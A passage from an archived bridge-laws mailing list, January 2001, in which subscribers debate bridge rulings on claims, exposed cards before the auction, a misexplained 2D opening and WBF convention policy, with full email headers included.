most of their rulings without consulting the lawbook...)) Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 07:59:17 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PKwwX01498 for bridge-laws-outgoing; Fri, 26 Jan 2001 07:58:58 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from Amnesix.UQSS.UQuebec.CA (Amnesix.UQSS.UQuebec.CA [192.77.51.5]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PKwpt01459 for ; Fri, 26 Jan 2001 07:58:52 +1100 (EST) Received: from Panoramix.UQSS.UQuebec.ca (Panoramix.UQSS.UQuebec.CA [192.77.51.2]) by Amnesix.UQSS.UQuebec.CA (8.9.3 (PHNE_18979)/8.9.3) with ESMTP id PAA16397 for ; Thu, 25 Jan 2001 15:58:35 -0500 (EST) Received: from localhost by Panoramix.UQSS.UQuebec.ca with ESMTP (1.40.112.8/15.6) id AA072046314; Thu, 25 Jan 2001 15:58:34 -0500 X-Openmail-Hops: 1 Date: Thu, 25 Jan 2001 15:58:33 -0500 Message-Id: Subject: Re: [BLML] Claim? Mime-Version: 1.0 From: Laval_DUBREUIL@UQSS.UQuebec.CA To: bridge-laws@rgb.anu.edu.au Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline ;Creation-Date="Thu, 25 Jan 2001 15:58:33 -0500" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0PKwst01480 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig wrote: Or perhaps John was expressing surprise that all three directors owned a copy, since so many bad club directors never seem to consult it when giving a ruling. :-)) ________________________________________________________________ I hope some good club directors are able to give most of their rulings without consulting the lawbook...)) Laval Du Breuil Quebec City -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 08:45:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PLj0917875 for bridge-laws-outgoing; Fri, 26 Jan 2001 08:45:00 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PLirt17837 for ; Fri, 26 Jan 2001 08:44:54 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 13:45:42 -0800 Message-ID: <024301c08718$05368d80$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> <3.0.2.32.20010124022224.010ceae8@mail.chello.nl> <001b01c086b0$0c8e6ac0$604001d5@pbncomputer> Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Thu, 25 Jan 2001 13:44:25 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Burn wrote: > John Probst wrote: > > > "... face of his *cardSSSSSS* ... " implies looks at them all (or at > > least, most of them), otherwise it would say "face of *a card*". > > The phrase is, as I have said, ambiguous. One could just as easily argue > that if more than one card was intended, it would say "faces of his > cards". There is no way at all in which it can be syntactically > determined whether the word "face" should be in the plural or "cards" > should be in the singular. As in the "claim" argument, it is important > to avoid the trap of believing that words mean what you want them to > mean, instead of what they actually mean. > > Most players, in my experience, do this: (1) they take their cards out > of the board and count them; (2) they pick them up in a single pile and > lift them towards their eyes; (3) they look first at the face of the > bottom card of the pile; (4) they fan the cards and look at the faces of > the rest of them; (5) they sort their hand. If one had to produce a > "common sense" interpretation of the law, my view is that the auction > period would begin at stage 3, rather than at some indeterminate point > during stage 4. There are also players who pick their cards up one at a > time, sorting their hand as they do so. Again, for such players I would > say that the auction period begins once they have looked at their first > card, rather than at some arbitrary card such as the second or the > tenth. When a TD asks (e.g., when a board is turned the wrong way), "Has anyone looked at their hand?," everyone knows what he means, and that is (3). If the answer is yes, the auction has begun and, e.g., a board cannot be turned. Everyone also understands that the answer can be negative, even if a player dropped a card face up when starting to sort the hand. That does not call for a positive answer by the dropper. In the case of an exposed card, a positive answer to the question leads to L24, and a negative answer to L16B. These understandings are not contrary to L7, L17, L16B, or L24. Rather they are what almost everyone (including the lawmakers, I believe) considers those Laws to be saying, and I mean literally saying. > However, it is not unknown for hands to be returned to the board with > one or more cards already face up. These cards are usually exposed when > a player is in the act of counting his cards prior to examining them. > The literal interpretation of L17 would imply that if this happens, the > auction period has begun for that player's side. I disagree with this. For me the literal interpretation is (3) above. In the version of English employed by the world of bridge, the player has not looked "at the face of his cards" by looking at a card inadvertently exposed. > Clearly, this is not > what was intended when Laws 7 and 17 were being constructed. And not what they say, IMO. > I do not > advocate the approach taken by many subscribers to this list of saying: > if such was clearly not intended to be the law, then it is not the law, > and something else is the law instead - for that approach, however nobly > intended, is of course illegal. I do say, however, that there appear to > be a couple of anomalies that could usefully be examined by the Laws > Commission. Agreed, but I do not think the words of these Laws contradict their intent. They just fail to make that intent very clear sometimes. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 10:06:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PN6Fm16987 for bridge-laws-outgoing; Fri, 26 Jan 2001 10:06:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PN68t16956 for ; Fri, 26 Jan 2001 10:06:09 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 15:06:58 -0800 Message-ID: <028d01c08723$5f93c9e0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <61D8D74E23E8D211938B0008C79F926602343224@WIEXHU01> Subject: Re: [BLML] Date: Thu, 25 Jan 2001 14:56:59 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Kerenyi Istvan" > > Dear Colleagues, > > may I have your opinion on the following board. > > North > QJT7652 > - > Q72 > AJ5 > > West East > - A98 > QJ76 K985 > 543 T98 > K97654 Q32 > > South > K43 > AT432 > AKJ6 > T > > IMP pairs.Both Vulnerable Dealer West. > > East-West all pass > > North opens 2 diamonds explained as either weak two major or 17-21 any 3-suiter > South bids 2 NT relay, North 3 hearts, South 4 NT, North 5 diamonds, > South 6 hearts. > West now asks South what 3 hearts meant.South answers 17-21 3-suiter, > short spade. West passes, North bids 6 spades. West now calls TD. > TD orders to continue. East doubles. > East leads 8 of hearts, 6 spades doubled made. > TD is called back and decides result to stand because of the double > of East. > North has to pass 6H, as he might logically do when playing behind a screen. South could theoretically be 1=7 in the majors, with solid hearts. I would adjust the score to the (reasonable) minimum number of tricks N/S would win in a 6H contract, undoubled. With West having made an improper call to the TD (mere suspicion of an infraction, and not even at hir turn), which may have prompted the double, I would let the result stand for E/W. The double also looks like a double-shot attempt, East figuring to get redress if the unwarranted double doesn't work out well. Let E/W keep that result. I love it when a pair gets a zero after asking a stupid, unnecessary question, especially when they could have had a top by keeping their mouths shut. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 10:12:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PNCq718551 for bridge-laws-outgoing; Fri, 26 Jan 2001 10:12:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PNCkt18547 for ; Fri, 26 Jan 2001 10:12:46 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 15:13:36 -0800 Message-ID: <029c01c08724$4cd56600$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: Subject: Re: [BLML] Claim? Date: Thu, 25 Jan 2001 15:12:28 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: > > Craig wrote: > Or perhaps John was expressing surprise that all three directors > owned a copy, since so many bad club directors never seem to > consult it when giving a ruling. :-)) > ________________________________________________________________ > I hope good club directors are able to give most of their > rulings without consulting the lawbook...)) > It is unwise to do so, even if the Laws have been memorized exactly. The TD should carry the Laws to the table and read the applicable Law from it. Doing so gives players a comfortable feeling that they are being treated in accordance with the Laws when a harsh penalty is dealt out. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 10:23:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0PNMv318564 for bridge-laws-outgoing; Fri, 26 Jan 2001 10:22:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp1.san.rr.com (mta@smtp1.san.rr.com [24.25.195.37]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0PNMot18560 for ; Fri, 26 Jan 2001 10:22:51 +1100 (EST) Received: from marvin ([24.30.156.154]) by smtp1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com for ; Thu, 25 Jan 2001 15:23:41 -0800 Message-ID: <02d101c08725$b581db60$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: Subject: [BLML] WBF Systems Policy Date: Thu, 25 Jan 2001 15:18:03 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Grattan Endicott" > > From: Marvin L. French > > > > > From: "Grattan Endicott" > > > > > > > > > > > > I have just read an article of yours on WBF > > > > > conventions on David Stevenson's page and > > > > > have a question. If I play a 2D opening as a > > > > > 5-5 major/minor two suiter is it allowed (as > > > > > a multi variant) or is it banned (because the > > > > > anchor suit is unknown)? > > > > > > > > > > > > > > +=+ This is a Brown Sticker convention and > > > > may not be played in tournaments where > > > > Brown Sticker (BS) conventions are prohibited. > > > > Regarding the multi the WBF Systems Policy > > > > says that what is not BS is an opening bid of > > > > two in a minor suit that shows "a weak two in > > > > either major, whether with or without the > > > > option of strong hand types, as described in > > > > the WBF Conventions Booklet". > > > > Does that mean only an unspecified major, only a > > specified major, or whichever? > > > +=+ It means an agreement that 2D shows > 'a weak two in either major' etc. +=+ > I don't see a smiley, so I take this to be a serious reply. Grattan, the WBFLC in general, and the ACBL, all seem to think that the words "either," "or," and "any" are unambiguous. This is not correct. All three have at least two common meanings that are inconsistent. We can usually tell which meaning applies by the context, but not always, and not in this case. If a 2D opening shows a weak two in hearts, is that not acceptable when "a weak two in either major" is acceptable? It says either major, and hearts is a major suit, isn't it? The ACBL says no, not acceptable, it must be a weak two in an unspecified major. After I pointed out the ambiguity of "either," they changed it to "an unspecified" last year. I had suggested "specified or unspecified," but for some reason they didn't buy that. Despite the fact that a weak two in a specified major is easier to defend than one in an unspecified major, it is not permitted even in Mid-Chart events if it can have strong adjuncts (as Multi can). All I am asking is what meaning is intended by "either" in the WBF Systems Policy. The policy allows Multi, evidently, but must the major suit be unspecified, as in Multi, or can it be a specified major? Is that a dumb question? Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 11:27:46 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q0QwS18595 for bridge-laws-outgoing; Fri, 26 Jan 2001 11:26:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from moonlight.ixir.net (moonlight.ixir.net [213.186.155.22]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q0Qnt18591 for ; Fri, 26 Jan 2001 11:26:50 +1100 (EST) Received: from ethemhome ([213.43.100.199]) by moonlight.ixir.net with SMTP id <20010126002732.LTRZ7274.moonlight@ethemhome> for ; Fri, 26 Jan 2001 02:27:32 +0200 Message-ID: <000701c0872e$92400b50$c7642bd5@ethemhome> From: "Ethem Urkac" To: "bridge-laws" References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> <4.3.2.7.1.20010125075030.00b3f350@127.0.0.1> <002f01c086fe$2fcea1a0$1e11f7a5@james> Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 02:25:57 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Yes of course that is a claim. But need not to be punished if in a normal line of play makes 11 or 13. I dont understand, what the problem is. Players sometimes do that. According to the event we warn them. Say for example: while defence takes an Ace of suit the trump holding A10XXXX - KJXX the declarer when dummy seen says "What are you doing partner? Why did not you give your 6th card as the trump queen, the slam is cold" then the trumps splits 3-0. This is the claim (I think so). What will happen then? The answer is easy NOTHING WILL HAPPEN. If the declarer is lucky and cashes the trump honour from the correct side he will make plus trick. Otherwise he will thank the god that the trumps divide 3-0 some will have -1. But when he says so and one of the defender gives information or a clue about the 3-0 trump split of course we will not let the declarer to guess for it. Do you think this kind of players (I think experienced players never behave like that) in the true life does not know the rules and they will not . Because bridge in their life is just a game while experinced ones compete for their lifes. So the fact is we just try to warn and teach them. If you apply the strick law nobody can say you are wrong. But you decide if you are doing absolutely the right thing? On events, competition is high, or in team events TD must apply the strick rules. ----- Original Message ----- From: "Craig Senior" To: "Bridge Laws Discussion List" ; "Eric Landau" Sent: Thursday, January 25, 2001 8:39 PM Subject: Re: [BLML] Claim? > As usual Eric you have a good point. I was thinking of the > bombastic cheapskate I was in my drinking days. When I said > "I'll bet you a beer" I was confidently tasting the foam even > though my pockets were empty. My example may have been ill > chosen. Less probabalistic is the case in point: effectivelty > "Oh no, we should have bid it, we're making 12 tricks!" That is > a claim, unless someone chooses to rewite the lawbook. > > Craig > > ----- Original Message ----- > From: "Eric Landau" > To: "Bridge Laws Discussion List" > Sent: Thursday, January 25, 2001 8:04 AM > Subject: Re: [BLML] Claim? > > > > A while back I tried to make the distinction between > statements of > > presumptive fact and statements of probabilistic expectation, > but it > > slipped through without comment. Then... > > > > At 12:18 PM 1/23/01, Craig wrote: > > > > >We're making 12 tricks is a claim...even > > >if it is preceded by I'll bet you a beer. > > > > To a betting man (or anyone else concerned with probability in > either a > > theoretical or a practical context) the statement "I'll bet > you a beer > > we're making 12 tricks" is a statement to the effect that I > believe I > > am more likely to do so than to fail to do so. It is in no > way a > > statement to the effect that I *will* do so. > > > > > > Eric Landau elandau@cais.com > > APL Solutions, Inc. elandau@acm.org > > 1107 Dale Drive (301) 589-4621 > > Silver Spring MD 20910-1607 Fax (301) 589-4618 > > > > -- > > > ================================================================ > ======== > > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > > "(un)subscribe bridge-laws" or just "help" in the BODY of the > message. > > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:08:14 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q17ju18618 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:07:45 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q17dt18614 for ; Fri, 26 Jan 2001 12:07:40 +1100 (EST) Received: from [213.122.229.214] (helo=pbncomputer) by tungsten.btinternet.com with smtp (Exim 3.03 #83) id 14LxMV-0004Yq-00 for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:07:35 +0000 Message-ID: <006101c08734$5fbc50c0$d6e57ad5@pbncomputer> From: "David Burn" To: References: Subject: Re: [BLML] Claim? Date: Fri, 26 Jan 2001 01:07:35 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ============================================================== When apprised of this flaw, You never yet saw Such a fearfully marked elongation of jaw As in Shylock, who cried, "Plesh my heart - ish that law?" Barham, "The Ingoldsby Legends" ============================================================== > I hope some good club directors are able to give most of their > rulings without consulting the lawbook...)) You had better not let DWS hear you say that. One of roughly the three points on which the great man and I are in agreement is this: no director should ever give a ruling without, in the presence of all the players, consulting the Laws. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:15:53 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FMs18692 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1Egt18632 for ; Fri, 26 Jan 2001 12:14:44 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTI-000M6F-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:14:38 +0000 Message-ID: <4X3E3MAsBEc6EwXF@blakjak.demon.co.uk> Date: Thu, 25 Jan 2001 15:04:12 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Consistent Claim Adjudication References: <022f01c08661$9f540fd0$7d0fac89@SERCDEMOnote> <200101250044.QAA14844@mailhub.irvine.com> <5FRfN4AYn4b6Ewvd@probst.demon.co.uk> <031701c0868e$1ee73200$7d0fac89@SERCDEMOnote> In-Reply-To: <031701c0868e$1ee73200$7d0fac89@SERCDEMOnote> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Peter Newman writes >Hi All, > >Thanks for the responses - it seems fairly agreed that it should be two >tricks for the defence. North gets to pitch one heart from dummy, wakes up >for the second and then doesn't pitch the stopper.... Reading this before I have even posted seems pretty quick! >So I assume if the hand was (and although not described consistent with the >play to this point): > > T5 > -- > -- > Q654 >-- 8764 >A875 -- >95 -- >-- 87 > KJ3 > KJ6 > -- > -- Same ruling, probably 2 tricks for the defence, can see the argument for three. >Declarer would also be one off - despite being cold on their claimed line of >play.... > >Or how about I modify the hand like this? > > T5 > -- > -- > Q654 >87 4 >87 A65 >95 -- >-- 87 > KJ63 > KJ > -- > -- > >Is it irrational to throw a heart on the CQ? No. 5 tricks to the defence. >Put me down as a fan of - any director, same decision....or in other words - >not a supporter of the current law! Directors who rule other than they believe the Laws to say should not be getting fans. Of course, there are many situations where we do not agree, and claims are one of them. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:15:56 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FHP18688 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:17 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1Eht18635 for ; Fri, 26 Jan 2001 12:14:44 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTI-000M6J-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:14:40 +0000 Message-ID: <03+HvWAKLEc6EwUe@blakjak.demon.co.uk> Date: Thu, 25 Jan 2001 15:14:18 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <001701c08606$647fd980$0ec188d1@kay> <002901c0863e$f5b136a0$087fa218@austin.rr.com> <009301c08654$c6d53410$a310f7a5@james> In-Reply-To: <009301c08654$c6d53410$a310f7a5@james> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Craig Senior writes >And continue to do so. As I pointed out, a significant number of >posters on this thread think that it is a claim. Not all agree >that that is an ideal situation. Sure. But if 20 people on this list do think it is a claim, I do not think that makes me wrong in my assertion that over 99% of all bridge players will think it not a claim. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:15:59 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FG318687 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1Eht18633 for ; Fri, 26 Jan 2001 12:14:44 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTI-000M6G-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 2001 01:14:39 +0000 Message-ID: <5XiEnRA4HEc6EwXG@blakjak.demon.co.uk> Date: Thu, 25 Jan 2001 15:10:48 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> <3.0.6.32.20010119112619.007e4210@ux1.cts.eiu.edu> <3.0.6.32.20010119214642.007b13a0@eiu.edu> <3.0.6.32.20010123144656.007c53b0@ux1.cts.eiu.edu> In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Roger Pewick writes > >----- Original Message ----- >From: Grant Sterling >To: Roger Pewick >Sent: Tuesday, January 23, 2001 2:46 PM >Subject: Re: [BLML] Claim? > >| Again, if you wish to take this to the list you can, or you can >| leave it private, at your option. > >snip > >| >a] words said out of innocence can have unintended consequences, so can >| >words not intended in innocence > >This seems to go to an important issue: > >| Sure. And, as I said, there are ample legal remedies in when >| opponents are damaged by those words, innocently intended or not > >To assert that he is entitled to say the words because the opponents are >entitled to redress if it damages them imo is a bad attitude to take. This >places the opponents in the situation perpetrated upon them to go through >the 'socially unacceptable' process of requesting ethics redress instead of >claim redress and places upon them a burden to wrestle with whether to ask >for redress. For [civil minded, in particular] players, to put the onus on >them is an unfair burden in order to save the ego of the irresponsible. >. >May I suggest that a player is not entitled to say such words unless he >intends to claim. So if he feels compelled to speak, let him be careful to >not breach the claim. Oh, cone off it. Why is everyone trying to bend this around to a specific thing? Let us see where Roger's argument is leading. According to the purists "Oh god, partner we are going to make twelve tricks!" is a claim. "Oh god, partner we have missed it, and I am going to make at least twelve tricks here!" is not a claim. Now Roger is arguing that the first sentence *must* be treated as a claim because making such comments is deleterious to the game of bridge. Are you suggesting the first sentence is deleterious and the second sentence is not? If you think that it is bad that players make such comments then you stop them, but not by some backhanded method of treating it as something which it does not seem to be so as a result you are only dealing with a fraction of such comments. If you believe that comments of that type are a violation of the Proprieties then issue a PP for violating the Proprieties. Any method by you that is designed to stop the first of the above comments and not the second is absurd. Comments such as the above are a Violation of Proprieties, and to say we must treat some of them as claims so we can stop them is wrong. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Fri Jan 26 12:16:00 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0Q1FP318693 for bridge-laws-outgoing; Fri, 26 Jan 2001 12:15:25 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-34.mail.demon.net (anchor-post-34.mail.demon.net [194.217.242.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0Q1Ent18650 for ; Fri, 26 Jan 2001 12:14:50 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by anchor-post-34.mail.demon.net with smtp (Exim 2.12 #1) id 14LxTJ-000M6K-0Y for bridge-laws@rgb.anu.edu.au; Fri, 26 Jan 